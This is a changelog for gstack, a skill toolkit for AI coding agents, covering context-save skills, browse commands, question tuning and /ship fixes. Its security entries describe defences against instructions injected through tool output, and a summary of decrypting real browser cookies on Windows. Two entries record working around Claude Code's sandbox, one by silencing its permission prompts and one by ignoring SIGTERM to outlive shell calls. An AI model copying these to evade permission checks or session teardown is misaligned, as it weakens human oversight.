- **Plan and reviews persisted.** Implementation followed `~/.claude/plans/declarative-riding-cook.md` which went through CEO review (SCOPE EXPANSION, 6 expansions accepted), DX review (POLISH, 5 gaps fixed), Eng review (4 architecture issues), and Codex review (11 brutal findings, all integrated and 2 prior decisions reversed).
- **Mode-posture energy in Writing Style rules 2-4** (ported from main's v1.1.2.0). Rule 2 and rule 4 now cover three framings — pain reduction, capability unlocked, forcing-question pressure — so expansion, builder, and forcing-question skills keep their edge instead of collapsing into diagnostic-pain framing. Rule 3 adds an explicit exception for stacked forcing questions. Came in via the merge; sits on top of the submodule refactor already shipped in v1.3.
- **Lite E2E coverage for v1.3 primitives.** Three new test files fill the real coverage gaps flagged in initial review: `test/taste-engine.test.ts` (24 tests — schema shape, Laplace-smoothed confidence, 5%/week decay clamped at 0, multi-dimension extraction, case-insensitive first-casing-wins policy, session cap via seed-then-one-call, legacy profile migration, taste-drift conflict warning, malformed-JSON recovery), `test/benchmark-cli.test.ts` (12 tests — CLI flag wiring, provider defaults, unknown-provider WARN path, NOT-READY branch regression catcher that strips auth env vars), `test/skill-e2e-benchmark-providers.test.ts` (8 periodic-tier live-API tests — trivial "echo ok" prompt through claude/codex/gemini adapters, assertions on parsed output + tokens + cost + timeout error codes + Promise.allSettled parallel isolation).
- **Ship golden fixtures for three hosts.** `test/fixtures/golden/{claude,codex,factory}-ship-SKILL.md` — byte-exact regression pins on the `/ship` generated output. The adversarial subagent pass during /review caught two real bugs before merge: Geist/GEIST casing policy in the taste engine was unpinned, and the live-E2E workdir was created at module load and never cleaned up.

## [1.1.3.0] - 2026-04-19

### Changed
- **`/checkpoint` is now `/context-save` + `/context-restore`.** Claude Code treats `/checkpoint` as a native rewind alias in current environments, which was shadowing the gstack skill. Symptom: you'd type `/checkpoint`, the agent would describe it as a "built-in you need to type directly," and nothing would get saved. The fix is a clean rename and a split into two skills. One that saves, one that restores. Your old saved files still load via `/context-restore` (storage path unchanged).
  - `/context-save` saves your current working state (optional title: `/context-save wintermute`).
  - `/context-save list` lists saved contexts. Defaults to current branch; pass `--all` for every branch.
  - `/context-restore` loads the most recent saved context across ALL branches by default. This fixes a second bug where the old `/checkpoint resume` flow was getting cross-contaminated with list-flow filtering and silently hiding your most recent save.
  - `/context-restore <title-fragment>` loads a specific saved context.
- **Restore ordering is now deterministic.** "Most recent" means the `YYYYMMDD-HHMMSS` prefix in the filename, not filesystem mtime. mtime drifts during copies and rsync; filenames don't. Applied to both restore and list flows.

### Fixed
- **Empty-set bug on macOS.** If you ran `/checkpoint resume` (now `/context-restore`) with zero saved files, `find ... | xargs ls -1t` would fall back to listing your current directory. Confusing output, no clean "no saved contexts yet" message. Replaced with `find | sort -r | head` so empty input stays empty.

### For contributors
- New `gstack-upgrade/migrations/v1.1.3.0.sh` removes the stale on-disk `/checkpoint` install so Claude Code's native `/rewind` alias is no longer shadowed. Ownership-guarded across three install shapes (directory symlink into gstack, directory with SKILL.md symlinked into gstack, anything else). User-owned `/checkpoint` skills preserved with a notice. Migration hardened after adversarial review: explicit `HOME` unset/empty guard, `realpath` with python3 fallback, `rm --` flag, macOS sidecar handling.
- `test/migration-checkpoint-ownership.test.ts` ships 7 scenarios covering all 3 install shapes + idempotency + no-op-when-gstack-not-installed + SKILL.md-symlink-outside-gstack. Free tier, ~85ms.
- Split `checkpoint-save-resume` E2E into `context-save-writes-file` and `context-restore-loads-latest`. The latter seeds two files with scrambled mtimes so the "filename-prefix, not mtime" guarantee is locked in.
- `context-save` now sanitizes the title in bash (allowlist `[a-z0-9.-]`, cap 60 chars) instead of trusting LLM-side slugification, and appends a random suffix on same-second collisions to enforce the append-only contract.
- `context-restore` caps its filename listing at 20 most-recent entries so users with 10k+ saved files don't blow the context window.
- `test/skill-e2e-autoplan-dual-voice.test.ts` was shipped broken on main (wrong `runSkillTest` option names, wrong result-field access, wrong helper signatures, missing Agent/Skill tools). Fixed end-to-end: 1/1 pass on first attempt, $0.68, 211s. Voice-detection regexes now match JSON-shaped tool_use entries and phase-completion markers, not bare prompt-text mentions.
- Added 8 live-fire E2E tests in `test/skill-e2e-context-skills.test.ts` that spawn `claude -p` with the Skill tool enabled and assert on the routing path, not hand-fed section prompts. Covers: save routing, save-then-restore round-trip, fragment-match restore, empty-state graceful message, `/context-restore list` delegation to `/context-save list`, legacy file compat, branch-filter default, and `--all` flag. 21 additional free-tier hardening tests in `test/context-save-hardening.test.ts` pin the title-sanitizer allowlist, collision-safe filenames, empty-set fallback, and migration HOME guard.
- New `test/skill-collision-sentinel.test.ts` — insurance policy against upstream slash-command shadowing. Enumerates every gstack skill name and cross-checks against a per-host list of known built-in slash commands (23 Claude Code built-ins tracked so far). When a host ships a new built-in, add it to `KNOWN_BUILTINS` and the test flags the collision before users find it. `/review` collision with Claude Code's `/review` documented in `KNOWN_COLLISIONS_TOLERATED` with a written justification; the exception list is validated against live skills on every run so stale entries fail loud.
- `runSkillTest` in `test/helpers/session-runner.ts` now accepts an `env:` option for per-test env overrides. Prevents tests from having to stuff `GSTACK_HOME=...` into the prompt, which was causing the agent to bypass the Skill tool. All 8 new E2E tests use `env: { GSTACK_HOME: gstackHome }`.

## [1.1.2.0] - 2026-04-19

### Fixed
- **`/plan-ceo-review` SCOPE EXPANSION mode stays expansive.** If you asked the CEO review to dream big, proposals were collapsing into dry feature bullets ("Add real-time notifications. Improves retention by Y%"). The V1 writing-style rules steered every outcome into diagnostic-pain framing. Rule 2 and rule 4 in the shared preamble now cover three framings: pain reduction, capability unlocked, and forcing-question pressure. Cathedral language survives the clarity layer. Ask for a 10x vision, get one.
- **`/office-hours` keeps its edge.** Startup-mode Q3 (Desperate Specificity) stopped collapsing into "Who is your target user?" The forcing question now stacks three pressures, matched to the domain of the idea — career impact for B2B, daily pain for consumer, weekend project unlocked for hobby and open-source. Builder mode stays wild: "what if you also..." riffs and adjacent unlocks come through, not PRD-voice feature roadmaps.

### Added
- **Gate-tier eval tests catch mode-posture regressions on every PR.** Three new E2E tests fire when the shared preamble, the plan-ceo-review template, or the office-hours template change. A Sonnet judge scores each mode on two axes: felt-experience vs decision-preservation for expansion, stacked-pressure vs domain-matched-consequence for forcing, unexpected-combinations vs excitement-over-optimization for builder. The original V1 regression shipped because nothing caught it. This closes that gap.

### For contributors
- Writing Style rule 2 and rule 4 in `scripts/resolvers/preamble.ts` each present three paired framing examples instead of one. Rule 3 adds an explicit exception for stacked forcing questions.
- `plan-ceo-review/SKILL.md.tmpl` gets a new `### 0D-prelude. Expansion Framing` subsection shared by SCOPE EXPANSION and SELECTIVE EXPANSION.
- `office-hours/SKILL.md.tmpl` gets inline forcing exemplar (Q3) and wild exemplar (builder operating principles). Anchored by stable heading, not line numbers.
- New `judgePosture(mode, text)` helper in `test/helpers/llm-judge.ts` (Sonnet judge, dual-axis rubric per mode).
- Three test fixtures in `test/fixtures/mode-posture/` — expansion plan, forcing pitch, builder idea.
- Three entries registered in `E2E_TOUCHFILES` + `E2E_TIERS`: `plan-ceo-review-expansion-energy`, `office-hours-forcing-energy`, `office-hours-builder-wildness` — all `gate` tier.
- Review history on this branch: CEO review (HOLD SCOPE) + Codex plan review (30 findings, drove approach pivot from "add new rule #5 taxonomy" to "rewrite rule 2-4 examples"). One eng review pass caught the test-infrastructure target (originally pointed at `test/skill-llm-eval.test.ts`, which does static analysis — actually needs E2E).

## [1.1.1.0] - 2026-04-18

### Fixed
- **`/ship` no longer silently lets `VERSION` and `package.json` drift.** Before this fix, `/ship`'s Step 12 read and bumped only the `VERSION` file. Any downstream consumer that reads `package.json` (registry UIs, `bun pm view`, `npm publish`, future helpers) would see a stale semver, and because the idempotency check keyed on `VERSION` alone, the next `/ship` run couldn't detect it had drifted. Now Step 12 classifies into four states — FRESH, ALREADY_BUMPED, DRIFT_STALE_PKG, DRIFT_UNEXPECTED — detects drift in every direction, repairs it via a sync-only path that can't double-bump, and halts loudly when `VERSION` and `package.json` disagree in an ambiguous way.
- **Hardened against malformed version strings.** `NEW_VERSION` is validated against the 4-digit semver pattern before any write, and the drift-repair path applies the same check to `VERSION` contents before propagating them into `package.json`. Trailing carriage returns and whitespace are stripped from both file reads. If `package.json` is invalid JSON, `/ship` stops loudly instead of silently rewriting a corrupted file.

### For contributors
- New test file at `test/ship-version-sync.test.ts` — 14 cases covering every branch of the new Step 12 logic, including the critical no-double-bump path (drift-repair must never call the normal bump action), trailing-CR regression, and invalid-semver repair rejection.
- Review history on this fix: one round of `/plan-eng-review`, one round of `/codex` plan review (found a double-bump bug in the original design), one round of Claude adversarial subagent (found CRLF handling gap and unvalidated `REPAIR_VERSION`). All surfaced issues applied in-branch.

## [1.1.0.0] - 2026-04-18

### Added
- **Browse can now render local HTML without an HTTP server.** Two ways: `$B goto file:///tmp/report.html` navigates to a local file (including cwd-relative `file://./x` and home-relative `file://~/x` forms, smart-parsed so you don't have to think about URL grammar), or `$B load-html /tmp/tweet.html` reads the file and loads it via `page.setContent()`. Both are scoped to cwd + temp dir for safety. If you're migrating a Puppeteer script that generates HTML in memory, this kills your Python-HTTP-server workaround.
- **Element screenshots with an explicit flag.** `$B screenshot out.png --selector .card` is now the unambiguous way to screenshot a single element. Positional selectors still work, but tag selectors like `button` weren't recognized positionally, so the flag form fixes that. `--selector` composes with `--base64` and rejects alongside `--clip` (choose one).
- **Retina screenshots via `--scale`.** `$B viewport 480x2000 --scale 2` sets `deviceScaleFactor: 2` and produces pixel-doubled screenshots. `$B viewport --scale 2` alone changes just the scale factor and keeps the current size. Scale is capped at 1-3 (gstack policy). Headed mode rejects the flag since scale is controlled by the real browser window.
- **Load-HTML content survives scale changes.** Changing `--scale` rebuilds the browser context (that's how Playwright works), which previously would have wiped pages loaded via `load-html`. Now the HTML is cached in tab state and replayed into the new context automatically. In-memory only; never persisted to disk.
- **Puppeteer → browse cheatsheet in SKILL.md.** Side-by-side table of Puppeteer APIs mapped to browse commands, plus a full worked example (tweet-renderer flow: viewport + scale + load-html + element screenshot).
- **Guess-friendly aliases.** Type `setcontent` or `set-content` and it routes to `load-html`. Canonicalization happens before scope checks, so read-scoped tokens can't use the alias to bypass write-scope enforcement.
- **`Did you mean ...?` on unknown commands.** `$B load-htm` returns `Unknown command: 'load-htm'. Did you mean 'load-html'?`. Levenshtein match within distance 2, gated on input length ≥ 4 so 2-letter typos don't produce noise.
- **Rich, actionable errors on `load-html`.** Every rejection path (file not found, directory, oversize, outside safe dirs, binary content, frame context) names the input, explains the cause, and says what to do next. Extension allowlist `.html/.htm/.xhtml/.svg` + magic-byte sniff (with UTF-8 BOM strip) catches mis-renamed binaries before they render as garbage.

- `file://` navigation is now an accepted scheme in `goto`, scoped to cwd + temp dir via the existing `validateReadPath()` policy. UNC/network hosts (`file://host.example.com/...`), IP hosts, IPv6 hosts, and Windows drive-letter hosts are all rejected with explicit errors.
- **State files can no longer smuggle HTML content.** `state load` now uses an explicit allowlist for the fields it accepts from disk — a tampered state file cannot inject `loadedHtml` to bypass the `load-html` safe-dirs, extension allowlist, magic-byte sniff, or size cap checks. Tab ownership is preserved across context recreation via the same in-memory channel, closing a cross-agent authorization gap where scoped agents could lose (or gain) tabs after `viewport --scale`.
- **Audit log now records the raw alias input.** When you type `setcontent`, the audit entry shows `cmd: load-html, aliasOf: setcontent` so the forensic trail reflects what the agent actually sent, not just the canonical form.
- **`load-html` content correctly clears on every real navigation** — link clicks, form submits, and JavaScript redirects now invalidate the replay metadata just like explicit `goto`/`back`/`forward`/`reload` do. Previously a later `viewport --scale` after a click could resurrect the original `load-html` content (silent data corruption). Also fixes SPA fixture URLs: `goto file:///tmp/app.html?route=home#login` preserves the query string and fragment through normalization.

### For contributors
- `validateNavigationUrl()` now returns the normalized URL (previously void). All four callers — goto, diff, newTab, restoreState — updated to consume the return value so smart-parsing takes effect at every navigation site.
- New `normalizeFileUrl()` helper uses `fileURLToPath()` + `pathToFileURL()` from `node:url` — never string-concat — so URL escapes like `%20` decode correctly and encoded-slash traversal (`%2F..%2F`) is rejected by Node outright.
- New `TabSession.loadedHtml` field + `setTabContent()` / `getLoadedHtml()` / `clearLoadedHtml()` methods. ASCII lifecycle diagram in the source. The `clear` call happens BEFORE navigation starts (not after) so a goto that times out post-commit doesn't leave stale metadata that could resurrect on a later context recreation.
- `BrowserManager.setDeviceScaleFactor(scale, w, h)` is atomic: validates input, stores new values, calls `recreateContext()`, rolls back the fields on failure. `currentViewport` tracking means recreateContext preserves your size instead of hardcoding 1280×720.
- `COMMAND_ALIASES` + `canonicalizeCommand()` + `buildUnknownCommandError()` + `NEW_IN_VERSION` are exported from `browse/src/commands.ts`. Single source of truth — both the server dispatcher and `chain` prevalidation import from the same place. Chain uses `{ rawName, name }` shape per step so audit logs preserve what the user typed while dispatch uses the canonical name.
- `load-html` is registered in `SCOPE_WRITE` in `browse/src/token-registry.ts`.
- Review history for the curious: 3 Codex consults (20 + 10 + 6 gaps), DX review (TTHW ~4min → <60s, Champion tier), 2 Eng review passes. Third Codex pass caught the 4-caller bug for `validateNavigationUrl` that the eng passes missed. All findings folded into the plan.

## [1.0.0.0] - 2026-04-18

### Added
- **v1 prompts = simpler.** Every skill's output (tier 2 and up) explains technical terms on first use with a one-sentence gloss, frames questions in outcome terms ("what breaks for your users if..." instead of "is this endpoint idempotent?"), and keeps sentences short and direct. Good writing for everyone — not just non-technical folks. Engineers benefit too.
- **Terse opt-out for power users.** `gstack-config set explain_level terse` switches every skill back to the older, tighter prose style — no glosses, no outcome-framing layer. Binary switch, sticks across all skills.
- **Curated jargon list.** A repo-owned list of ~50 technical terms (idempotent, race condition, N+1, backpressure, and friends) at `scripts/jargon-list.json`. These are the terms gstack glosses. Terms not on the list are assumed plain-English enough. Add terms via PR.
- **Real LOC receipts in the README.** Replaced the "600,000+ lines of production code" hero framing with a computed 2013-vs-2026 pro-rata multiple on logical code change, with honest caveats about public-vs-private repos. The script that computes it is at `scripts/garry-output-comparison.ts` and uses [scc](https://github.com/boyter/scc). Raw LOC is still in `/retro` output for context, just no longer the headline.
- **Smarter `/retro` metrics.** `/retro` now leads with features shipped, commits, and PRs merged — logical SLOC added comes next, and raw LOC is demoted to context-only. Because ten lines of a good fix is not less shipping than ten thousand lines of scaffold.
- **Upgrade prompt on first run.** When you upgrade to this version, the first skill you run will ask once whether you want to keep the new default writing style or restore V0 prose with `gstack-config set explain_level terse`. One-time, flag-file gated, never asks again.

### Changed
- **README hero reframed.** No more "10K-20K lines per day" claim. Focuses on products shipped + features + the pro-rata multiple on logical code change, which is the honest metric now that AI writes most of the code. The point isn't who typed it, it's what shipped.
- **Hiring callout reframed.** Replaced "ship 10K+ LOC/day" with "ship real products at AI-coding speed."

### For contributors
- New `scripts/resolvers/preamble.ts` Writing Style section, injected for tier ≥ 2 skills. Composes with the existing AskUserQuestion Format section (Format = how the question is structured, Style = the prose quality of the content inside). Jargon list is baked into generated SKILL.md prose at `gen-skill-docs` time — zero runtime cost, edit the JSON and regenerate.
- New `bin/gstack-config` validation for `explain_level` values. Unknown values print a warning and default to `default`. Annotated header documents the new key.
- New one-shot upgrade migration at `gstack-upgrade/migrations/v1.0.0.0.sh`, matching existing `v0.15.2.0.sh` / `v0.16.2.0.sh` pattern. Flag-file gated.
- New throughput pipeline: `scripts/garry-output-comparison.ts` (scc preflight + author-scoped SLOC across 2013 + 2026), `scripts/update-readme-throughput.ts` (reads the JSON, replaces `<!-- GSTACK-THROUGHPUT-PLACEHOLDER -->` anchor), `scripts/setup-scc.sh` (OS-detecting installer invoked only when running the throughput script — scc is not a package.json dependency).
- Two-string marker pattern in README to prevent the pipeline from destroying its own update path: `GSTACK-THROUGHPUT-PLACEHOLDER` (stable anchor) vs `GSTACK-THROUGHPUT-PENDING` (explicit missing-build marker CI rejects).
- V0 dormancy negative tests — the 5D psychographic dimensions (scope_appetite, risk_tolerance, detail_preference, autonomy, architecture_care) and 8 archetype names (Cathedral Builder, Ship-It Pragmatist, Deep Craft, Taste Maker, Solo Operator, Consultant, Wedge Hunter, Builder-Coach) must not appear in default-mode skill output. Keeps the V0 machinery dormant until V2.
- **Pacing improvements ship in V1.1.** The scope originally considered (review ranking, Silent Decisions block, max-3-per-phase cap, flip mechanism) was extracted to `docs/designs/PACING_UPDATES_V0.md` after three engineering-review passes revealed structural gaps that couldn't be closed with plan-text editing. V1.1 picks it up with real V1 baseline data.
- Design doc: `docs/designs/PLAN_TUNING_V1.md`. Full review history: CEO + Codex (×2 passes, 45 findings integrated) + DX (TRIAGE) + Eng (×3 passes — last pass drove the scope reduction).

## [0.19.0.0] - 2026-04-17

### Added
- **`/plan-tune` skill — gstack can now learn which of its prompts you find valuable vs noisy.** If you keep answering the same AskUserQuestion the same way every time, this is the skill that teaches gstack to stop asking. Say "stop asking me about changelog polish" — gstack writes it down, respects it from that point forward, and one-way doors (destructive ops, architecture forks, security choices) still always ask regardless, because safety wins over preference. Plain English everywhere. No CLI subcommand syntax to memorize.
- **Dual-track developer profile.** Tell gstack who you are as a builder (5 dimensions: scope appetite, risk tolerance, detail preference, autonomy, architecture care). gstack also silently tracks what your behavior suggests. `/plan-tune` shows both side by side plus the gap, so you can see when your actions don't match your self-description. v1 is observational — no skills change their behavior based on your profile yet. That comes in v2, once the profile has proven itself.
- **Builder archetypes.** Run `/plan-tune vibe` (v2) or let the skill infer it from your dimensions. Eight named archetypes (Cathedral Builder, Ship-It Pragmatist, Deep Craft, Taste Maker, Solo Operator, Consultant, Wedge Hunter, Builder-Coach) plus a Polymath fallback when your dimensions don't fit a standard pattern. Codebase and model ship now; the user-facing commands are v2.
- **Inline `tune:` feedback across every gstack skill.** When a skill asks you something, you can reply `tune: never-ask` or `tune: always-ask` or free-form English and gstack normalizes it into a preference. Only runs when you've opted in via `gstack-config set question_tuning true` — zero impact until then.
- **Profile-poisoning defense.** Inline `tune:` writes only get accepted when the prefix came from your own chat message — never from tool output, file content, PR descriptions, or anywhere else a malicious repo might inject instructions. The binary enforces this with exit code 2 for rejected writes. This was an outside-voice catch from Codex review; it's baked in from day one.
- **Typed question registry with CI enforcement.** 53 recurring AskUserQuestion categories across 15 skills are now declared in `scripts/question-registry.ts` with stable IDs, categories, door types (one-way vs two-way), and options. A CI test asserts the schema stays valid. Safety-critical questions (destructive ops, architecture forks) are classified `one-way` at the declaration site — never inferred from prose summaries.
- **Unified developer profile.** The `/office-hours` skill's existing builder-profile.jsonl (sessions, signals, resources, topics) is folded into a single `~/.gstack/developer-profile.json` on first use. Migration is atomic, idempotent, and archives the source file — rerun it safely. Legacy `gstack-builder-profile` is a thin shim that delegates to the new binary.

### For contributors
- New `docs/designs/PLAN_TUNING_V0.md` captures the full design journey: every decision with pros/cons, what was deferred to v2 with explicit acceptance criteria, what was rejected after Codex review (substrate-as-prompt-convention, ±0.2 clamp, preamble LANDED detection, single event-schema), and how the final shape came together. Read this before working on v2 to understand why the constraints exist.
- Three new binaries: `bin/gstack-question-log` (validated append to question-log.jsonl), `bin/gstack-question-preference` (explicit preference store with user-origin gate), `bin/gstack-developer-profile` (supersedes gstack-builder-profile; supports --read, --migrate, --derive, --profile, --gap, --trace, --check-mismatch, --vibe).
- Three new preamble resolvers in `scripts/resolvers/question-tuning.ts`: question preference check (before each AskUserQuestion), question log (after), inline tune feedback with user-origin gate instructions. Consolidated into one compact `generateQuestionTuning` section for tier >= 2 skills to minimize token overhead.
- Hand-crafted psychographic signal map (`scripts/psychographic-signals.ts`) with version hash so cached profiles recompute automatically when the map changes between gstack versions. 9 signal keys covering scope-appetite, architecture-care, test-discipline, code-quality-care, detail-preference, design-care, devex-care, distribution-care, session-mode.
- Keyword-fallback one-way-door classifier (`scripts/one-way-doors.ts`) — secondary safety layer for ad-hoc question IDs that don't appear in the registry. Primary safety is the registry declaration.
- 118 new tests across 4 test files: `test/plan-tune.test.ts` (47 tests — schema, helpers, safety, classifier, signal map, archetypes, preamble injection, end-to-end pipeline), `test/gstack-question-log.test.ts` (21 tests — valid payloads, rejected payloads, injection defense), `test/gstack-question-preference.test.ts` (31 tests — check/write/read/clear/stats + user-origin gate + schema validation), `test/gstack-developer-profile.test.ts` (25 tests — read/migrate/derive/trace/gap/vibe/check-mismatch). Gate-tier E2E test `skill-e2e-plan-tune.test.ts` registered (runs on `bun run test:evals`).
- Scope rollback driven by outside-voice review. The initial CEO EXPANSION plan bundled psychographic auto-decide + blind-spot coach + LANDED celebration + full substrate wiring. Codex's 20-point critique caught that without a typed question registry, "substrate" was marketing; E1/E4/E6 formed a logical contradiction; profile poisoning was unaddressed; LANDED in the preamble injected side effects into every skill's hot path. Accepted the rollback: v1 ships the schema + observation layer, v2 adds behavior adaptation only after the foundation proves durable. All six expansions are tracked as P0 TODOs with explicit acceptance criteria.

## [0.18.4.0] - 2026-04-18

### Fixed
- **Apple Silicon no longer dies with SIGKILL on first run.** `./setup` now ad-hoc codesigns every compiled binary after `bun run build` so M-series Macs can actually execute them. If you cloned gstack and saw `zsh: killed ./browse/dist/browse` before getting to Day 2, this is why. Thanks to @voidborne-d (#1003) for tracking down the Bun `--compile` linker signature issue and shipping a tested fix (6 tests across 4 binaries, idempotent, platform-guarded).
- **`/codex` no longer hangs forever in Claude Code's Bash tool.** Codex CLI 0.120.0 introduced a stdin deadlock: if stdin is a non-TTY pipe (Claude Code, CI, background bash, OpenClaw), `codex exec` waits for EOF to append it as a `<stdin>` block, even when the prompt is passed as a positional argument. Symptom: "Reading additional input from stdin...", 0% CPU, no output. Every `codex exec` and `codex review` now redirects stdin from `/dev/null`. `/autoplan`, every plan-review outside voice, `/ship` adversarial, and `/review` adversarial all unblock. Thanks to @loning (#972) for the 13-minute repro and minimal fix.
- **`/codex` and `/autoplan` fail fast when Codex auth is missing or broken.** Before this release, a logged-out Codex user would watch the skill spend minutes building an expensive prompt only to surface the auth error mid-stream. Now both skills preflight auth via a multi-signal probe (`$CODEX_API_KEY`, `$OPENAI_API_KEY`, or `${CODEX_HOME:-~/.codex}/auth.json`) and stop with a clear "run `codex login` or set `$CODEX_API_KEY`" message before any prompt construction. Bonus: if your Codex CLI is on a known-buggy version (currently 0.120.0-0.120.2), you'll get a one-line nudge to upgrade.
- **`/codex` and `/autoplan` no longer sit at 0% CPU forever if the model API stalls.** Every `codex exec` / `codex review` now runs under a 10-minute timeout wrapper with a `gtimeout → timeout → unwrapped` fallback chain, so you get a clear "Codex stalled past 10 minutes. Common causes: model API stall, long prompt, network issue. Try re-running." message instead of an infinite wait. `./setup` auto-installs `coreutils` on macOS so `gtimeout` is available (skip with `GSTACK_SKIP_COREUTILS=1` for CI / locked machines).
- **`/codex` Challenge mode now surfaces auth errors instead of silently dropping them.** Challenge mode was piping stderr to `/dev/null`, which masked any auth failures in the middle of a run. Now it captures stderr to a temp file and checks for `auth|login|unauthorized` patterns. If Codex errors mid-run, you see it.
- **Plan reviews no longer quietly bias toward minimal-diff recommendations.** `/plan-ceo-review` and `/plan-eng-review` used to list "minimal diff" as an engineering preference without a counterbalancing "rewrite is fine when warranted" note. Reviewers picked up on that and rejected rewrites that should've been approved. The preference is now framed as "right-sized diff" with explicit permission to recommend a rewrite when the existing foundation is broken. Implementation alternatives in CEO review also got an equal-weight clarification: don't default to minimal viable just because it's smaller.

### For contributors
- New `bin/gstack-codex-probe` consolidates the auth probe, version check, timeout wrapper, and telemetry logger into one bash helper that `/codex` and `/autoplan` both source. When a second outside-voice backend lands (Gemini CLI), this is the file to extend.
- New `test/codex-hardening.test.ts` ships 25 deterministic unit tests for the probe (8 auth probe combinations, 10 version regex cases including `0.120.10` false-positive guards, 4 timeout wrapper + namespace hygiene checks, 3 telemetry payload schema checks confirming no env values leak into events). Free tier, <5s runtime.
- New `test/skill-e2e-autoplan-dual-voice.test.ts` (periodic tier) gates the `/autoplan` dual-voice path. Asserts both Claude subagent and Codex voices produce output in Phase 1, OR that `[codex-unavailable]` is logged when Codex is absent. Periodic ~= $1/run, not a gate.
- Codex failure telemetry events (`codex_timeout`, `codex_auth_failed`, `codex_cli_missing`, `codex_version_warning`) now land in `~/.gstack/analytics/skill-usage.jsonl` behind the existing user opt-in. Reliability regressions are visible at the user-base scale.
- Codex timeouts (`exit 124`) now auto-log operational learnings via `gstack-learnings-log`. Future `/investigate` sessions on the same skill/branch surface prior hang patterns automatically.

## [0.18.3.0] - 2026-04-17

### Added
- **Windows cookie import.** `/setup-browser-cookies` now works on Windows. Point it at Chrome, Edge, Brave, or Chromium, pick a profile, and gstack will pull your real browser cookies into the headless session. Handles AES-256-GCM (Chrome 80+), DPAPI key unwrap via PowerShell, and falls back to a headless CDP session for v20 App-Bound Encryption on Chrome 127+. Windows users can now do authenticated QA testing with `/qa` and `/design-review` for the first time.
- **One-command OpenCode install.** `./setup --host opencode` now wires up gstack skills for OpenCode the same way it does for Claude Code and Codex. No more manual workaround.

### Fixed
- **No more permission prompts on every skill invocation.** Every `/browse`, `/qa`, `/qa-only`, `/design-review`, `/office-hours`, `/canary`, `/pair-agent`, `/benchmark`, `/land-and-deploy`, `/design-shotgun`, `/design-consultation`, `/design-html`, `/plan-design-review`, and `/open-gstack-browser` invocation used to trigger Claude Code's sandbox asking about "tilde in assignment value." Replaced bare `~/` with `"$HOME/..."` in the browse and design resolvers plus a handful of templates that still used the old pattern. Every skill runs silently now.
- **Multi-step QA actually works.** The `$B` browse server was dying between Bash tool invocations. Claude Code's sandbox kills the parent shell when a command finishes, and the server took that as a cue to shut down. Now the server persists across calls, keeping your cookies, page state, and navigation intact. Run `$B goto`, then `$B fill`, then `$B click` in three separate Bash calls and it just works. A 30-minute idle timeout still handles eventual cleanup. `Ctrl+C` and `/stop` still do an immediate shutdown.
- **Cookie picker stops stranding the UI.** If the launching CLI exited mid-import, the picker page would flash `Failed to fetch` because the server had shut down under it. The browse server now stays alive while any picker code or session is live.
- **OpenClaw skills load cleanly in Codex.** The 4 hand-authored ClawHub skills (ceo-review, investigate, office-hours, retro) had frontmatter with unquoted colons and non-standard `version`/`metadata` fields that stricter parsers rejected. Now they load without errors on Codex CLI and render correctly on GitHub.

### For contributors
- Community wave lands 6 PRs: #993 (byliu-labs), #994 (joelgreen), #996 (voidborne-d), #864 (cathrynlavery), #982 (breakneo), #892 (msr-hickory).
- SIGTERM handling is now mode-aware. In normal mode the server ignores SIGTERM so Claude Code's sandbox doesn't tear it down mid-session. In headed mode (`/open-gstack-browser`) and tunnel mode (`/pair-agent`) SIGTERM still triggers a clean shutdown. those modes skip idle cleanup, so without the mode gate orphan daemons would accumulate forever. Note that v0.18.1.0 also disables the parent-PID watchdog when `BROWSE_HEADED=1`, so headed mode is doubly protected. Inline comments document the resolution order.
- Windows v20 App-Bound Encryption CDP fallback now logs the Chrome version on entry and has an inline comment documenting the debug-port security posture (127.0.0.1-only, random port in [9222, 9321] for collision avoidance, always killed in finally).
- New regression test `test/openclaw-native-skills.test.ts` pins OpenClaw skill frontmatter to `name` + `description` only. catches version/metadata drift at PR time.

## [0.18.2.0] - 2026-04-17

### Fixed
- **`/ship` stops skipping `/document-release` ~80% of the time.** The old Step 8.5 told Claude to `cat` a 2500-line external skill file *after* the PR URL was already output, at which point the model had 500-1,750 lines of intermediate tool output in context and was at its least intelligent. Now `/ship` dispatches `/document-release` as a subagent that runs in a fresh context window, *before* creating the PR, so the `## Documentation` section gets baked into the initial PR body instead of a create-then-re-edit dance. The result: documentation actually syncs on every ship.

### Changed
- **`/ship`'s 4 heaviest sub-workflows now run in isolated subagent contexts.** Coverage audit (Step 7), plan completion audit (Step 8), Greptile triage (Step 10), and documentation sync (Step 18) each dispatch a subagent that gets a fresh context window. The parent only sees the conclusion (structured JSON), not the intermediate file reads. This is the pattern Anthropic's "Using Claude Code: Session Management and 1M Context" blog post recommends for fighting context rot: "Will I need this tool output again, or just the conclusion? If just the conclusion, use a subagent."
- **`/ship` step numbers are clean integers 1-20 instead of fractional (`3.47`, `8.5`, `8.75`).** Fractional step numbers signaled "optional appendix" to the model and contributed to late-stage steps getting skipped. Clean integers feel mandatory. Resolver sub-steps that are genuinely nested (Plan Verification 8.1, Scope Drift 8.2, Review Army 9.1/9.2, Cross-review dedup 9.3) are preserved.
- **`/ship` now prints "You are NOT done" after push.** Breaks the natural stopping point where the model was treating a pushed branch as mission-accomplished and skipping doc sync + PR creation.

### For contributors
- New regression guards in `test/skill-validation.test.ts` prevent drift back to fractional step numbers and catch cross-contamination between `/ship` and `/review` resolver conditionals.
- Ship template restructure: old Step 8.5 (post-PR doc sync with `cat` delegation) replaced by new Step 18 (pre-PR subagent dispatch that invokes full `/document-release` skill with its CHANGELOG clobber protections, doc exclusions, risky-change gates, and race-safe PR body editing). Codex caught that the original plan's reimplementation dropped those protections; this version reuses the real `/document-release`.

## [0.18.1.0] - 2026-04-16

### Fixed
- **`/open-gstack-browser` actually stays open now.** If you ran `/open-gstack-browser` or `$B connect` and your browser vanished roughly 15 seconds later, this was why: a watchdog inside the browse server was polling the CLI process that spawned it, and when the CLI exited (which it does, immediately, right after launching the browser), the watchdog said "orphan!" and killed everything. The fix disables that watchdog for headed mode, both in the CLI (always set `BROWSE_PARENT_PID=0` for headed launches) and in the server (skip the watchdog entirely when `BROWSE_HEADED=1`). Two layers of defense in case a future launcher forgets to pass the env var. Thanks to @rocke2020 (#1020), @sanghyuk-seo-nexcube (#1018), @rodbland2021 (#1012), and @jbetala7 (#986) for independently diagnosing this and sending in clean, well-documented fixes.
- **Closing the headed browser window now cleans up properly.** Before this release, clicking the X on the GStack Browser window skipped the server's cleanup routine and exited the process directly. That left behind stale sidebar-agent processes polling a dead server, unsaved chat session state, leftover Chromium profile locks (which cause "profile in use" errors on the next `$B connect`), and a stale `browse.json` state file. Now the disconnect handler routes through the full `shutdown()` path first, cleans everything, and then exits with code 2 (which still distinguishes user-close from crash).
